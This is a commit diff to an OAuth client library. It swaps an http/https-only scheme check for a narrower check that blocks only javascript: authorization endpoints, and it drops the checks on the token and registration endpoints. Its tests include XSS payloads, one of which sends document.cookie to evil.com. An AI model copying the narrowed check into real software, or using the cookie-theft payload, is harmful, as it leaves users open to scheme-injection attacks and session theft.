Skip to content

Commit 6ef646e

Browse files
committed
update to validate metadata authorization_endpoint on fetch
1 parent 86cbf91 commit 6ef646e

File tree

3 files changed

+41
-40
lines changed

3 files changed

+41
-40
lines changed

src/client/auth.ts

Lines changed: 15 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ import {
1212
OpenIdProviderDiscoveryMetadataSchema
1313
} from "../shared/auth.js";
1414
import { OAuthClientInformationFullSchema, OAuthMetadataSchema, OAuthProtectedResourceMetadataSchema, OAuthTokensSchema } from "../shared/auth.js";
15-
import { checkResourceAllowed, resourceUrlFromServerUrl, isValidOAuthScheme } from "../shared/auth-utils.js";
15+
import { checkResourceAllowed, resourceUrlFromServerUrl, isAuthorizationEndpointSafe } from "../shared/auth-utils.js";
1616
import {
1717
InvalidClientError,
1818
InvalidGrantError,
@@ -774,10 +774,19 @@ export async function discoverAuthorizationServerMetadata(
774774
}
775775

776776
// Parse and validate based on type
777+
const responseData = await response.json();
778+
777779
if (type === 'oauth') {
778-
return OAuthMetadataSchema.parse(await response.json());
780+
const metadata = OAuthMetadataSchema.parse(responseData);
781+
if (!isAuthorizationEndpointSafe(metadata)) {
782+
throw new Error(`Invalid OAuth metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
783+
}
784+
return metadata;
779785
} else {
780-
const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(await response.json());
786+
const metadata = OpenIdProviderDiscoveryMetadataSchema.parse(responseData);
787+
if (!isAuthorizationEndpointSafe(metadata)) {
788+
throw new Error(`Invalid OIDC metadata from ${endpointUrl}: authorization_endpoint uses javascript: scheme which is not allowed for security reasons.`);
789+
}
781790

782791
// MCP spec requires OIDC providers to support S256 PKCE
783792
if (!metadata.code_challenge_methods_supported?.includes('S256')) {
@@ -820,9 +829,6 @@ export async function startAuthorization(
820829
let authorizationUrl: URL;
821830
if (metadata) {
822831
authorizationUrl = new URL(metadata.authorization_endpoint);
823-
if (!isValidOAuthScheme(authorizationUrl)) {
824-
throw new Error(`Invalid authorization_endpoint URL scheme: ${authorizationUrl.protocol}. Only http: and https: are allowed.`);
825-
}
826832

827833
if (!metadata.response_types_supported.includes(responseType)) {
828834
throw new Error(
@@ -914,15 +920,9 @@ export async function exchangeAuthorization(
914920
): Promise<OAuthTokens> {
915921
const grantType = "authorization_code";
916922

917-
let tokenUrl: URL;
918-
if (metadata?.token_endpoint) {
919-
tokenUrl = new URL(metadata.token_endpoint);
920-
if (!isValidOAuthScheme(tokenUrl)) {
921-
throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`);
922-
}
923-
} else {
924-
tokenUrl = new URL("/token", authorizationServerUrl);
925-
}
923+
const tokenUrl = metadata?.token_endpoint
924+
? new URL(metadata.token_endpoint)
925+
: new URL("/token", authorizationServerUrl);
926926

927927
if (
928928
metadata?.grant_types_supported &&
@@ -1007,9 +1007,6 @@ export async function refreshAuthorization(
10071007
let tokenUrl: URL;
10081008
if (metadata) {
10091009
tokenUrl = new URL(metadata.token_endpoint);
1010-
if (!isValidOAuthScheme(tokenUrl)) {
1011-
throw new Error(`Invalid token_endpoint URL scheme: ${tokenUrl.protocol}. Only http: and https: are allowed.`);
1012-
}
10131010

10141011
if (
10151012
metadata.grant_types_supported &&
@@ -1081,9 +1078,6 @@ export async function registerClient(
10811078
}
10821079

10831080
registrationUrl = new URL(metadata.registration_endpoint);
1084-
if (!isValidOAuthScheme(registrationUrl)) {
1085-
throw new Error(`Invalid registration_endpoint URL scheme: ${registrationUrl.protocol}. Only http: and https: are allowed.`);
1086-
}
10871081
} else {
10881082
registrationUrl = new URL("/register", authorizationServerUrl);
10891083
}

src/shared/auth-utils.test.ts

Lines changed: 13 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
import { resourceUrlFromServerUrl, checkResourceAllowed, isValidOAuthScheme } from './auth-utils.js';
1+
import { resourceUrlFromServerUrl, checkResourceAllowed, isAuthorizationEndpointSafe } from './auth-utils.js';
22

33
describe('auth-utils', () => {
44
describe('resourceUrlFromServerUrl', () => {
@@ -59,17 +59,20 @@ describe('auth-utils', () => {
5959
});
6060
});
6161

62-
describe('isValidOAuthScheme', () => {
63-
it('should accept http and https URLs', () => {
64-
expect(isValidOAuthScheme(new URL('https://auth.example.com/oauth'))).toBe(true);
65-
expect(isValidOAuthScheme(new URL('http://localhost:8080/token'))).toBe(true);
62+
describe('isAuthorizationEndpointSafe', () => {
63+
it('should allow safe authorization endpoints', () => {
64+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/authorize' })).toBe(true);
65+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/auth' })).toBe(true);
66+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'https://auth.example.com/tenant1/authorize' })).toBe(true);
6667
});
6768

68-
it('should reject dangerous schemes', () => {
69-
expect(isValidOAuthScheme(new URL('javascript:alert("XSS")'))).toBe(false);
70-
expect(isValidOAuthScheme(new URL('data:text/html,<script>alert("XSS")</script>'))).toBe(false);
71-
expect(isValidOAuthScheme(new URL('file:///etc/passwd'))).toBe(false);
72-
expect(isValidOAuthScheme(new URL('ftp://malicious.com/file'))).toBe(false);
69+
it('should block javascript: authorization endpoints', () => {
70+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:alert("XSS")' })).toBe(false);
71+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'javascript:fetch("https://evil.com/steal",{method:"POST",body:document.cookie})' })).toBe(false);
72+
});
73+
74+
it('should pass through for invalid URLs', () => {
75+
expect(isAuthorizationEndpointSafe({ authorization_endpoint: 'invalid-url' })).toBe(true);
7376
});
7477
});
7578
});

src/shared/auth-utils.ts

Lines changed: 13 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -54,16 +54,20 @@ export function resourceUrlFromServerUrl(url: URL | string ): URL {
5454
}
5555

5656
/**
57-
* Validates that a URL uses a safe scheme for OAuth endpoints (http or https only).
57+
* Validates OAuth authorization endpoint to prevent JavaScript URL injection attacks.
5858
*
59-
* This prevents XSS (Cross-Site Scripting) and RCE (Remote Code Execution) attacks
60-
* where malicious authorization servers could return endpoints with dangerous schemes
61-
* like javascript:, data:, file:, etc. that could lead to code execution when
62-
* processed by OAuth clients.
59+
* Checks that the authorization_endpoint doesn't use the javascript: scheme,
60+
* which could lead to code execution when the client redirects users to it.
6361
*
64-
* @param url - The URL to validate
65-
* @returns true if the URL scheme is safe (http: or https:), false otherwise
62+
* @param metadata - The OAuth authorization server metadata to validate
63+
* @returns true if authorization endpoint is safe (no javascript: scheme), false otherwise
6664
*/
67-
export function isValidOAuthScheme(url: URL): boolean {
68-
return ['https:', 'http:'].includes(url.protocol);
65+
export function isAuthorizationEndpointSafe(metadata: { authorization_endpoint: string }): boolean {
66+
try {
67+
const url = new URL(metadata.authorization_endpoint);
68+
return url.protocol !== 'javascript:';
69+
} catch {
70+
// Invalid URL format - let other validation handle this
71+
return true;
72+
}
6973
}

0 commit comments

Comments
 (0)